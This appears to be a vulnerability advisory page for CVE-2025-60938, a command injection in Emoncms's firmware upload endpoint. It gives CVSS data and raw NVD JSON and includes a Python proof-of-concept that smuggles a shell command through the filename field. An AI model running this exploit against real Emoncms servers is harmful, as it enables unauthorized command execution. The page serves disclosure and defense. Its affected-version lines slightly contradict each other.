Security Vulnerability Report
中文
CVE-2025-60938 CVSS 7.5 HIGH

CVE-2025-60938

Published: 2025-10-24 15:15:41
Last Modified: 2025-10-28 02:32:38

Description

Emoncms 11.7.3 has a remote code execution vulnerability in the firmware upload feature that allows authenticated users to execute arbitrary commands on the target system. The vulnerability stems from insufficient input validation of user-controlled parameters including filename, port, baud_rate, core, and autoreset within the /admin/upload-custom-firmware endpoint.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openenergymonitor:emoncms:11.7.3:*:*:*:*:*:*:* - VULNERABLE
Emoncms < 11.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60938 Emoncms RCE PoC import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Authenticate first (low-privilege user) login_url = f'{target}/account/login' session = requests.Session() # Login with valid credentials login_data = { 'username': 'attacker', 'password': 'password123' } response = session.post(login_url, data=login_data) # Exploit the RCE vulnerability exploit_url = f'{target}/admin/upload-custom-firmware' # Payload to execute arbitrary command (e.g., whoami) payload = { 'filename': 'firmware.bin;whoami>#', 'port': '80', 'baud_rate': '115200', 'core': 'esp8266', 'autoreset': '1' } response = session.post(exploit_url, files={'firmware': ('exploit.bin', b'malicious_content')}, data=payload) print(f'Status: {response.status_code}') print(f'Response: {response.text}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60938", "sourceIdentifier": "[email protected]", "published": "2025-10-24T15:15:40.577", "lastModified": "2025-10-28T02:32:37.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emoncms 11.7.3 has a remote code execution vulnerability in the firmware upload feature that allows authenticated users to execute arbitrary commands on the target system. The vulnerability stems from insufficient input validation of user-controlled parameters including filename, port, baud_rate, core, and autoreset within the /admin/upload-custom-firmware endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openenergymonitor:emoncms:11.7.3:*:*:*:*:*:*:*", "matchCriteriaId": "3C09BE6B-BA9D-42F3-A496-76F32FFE9E07"}]}]}], "references": [{"url": "https://github.com/emoncms/emoncms/issues/1941", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}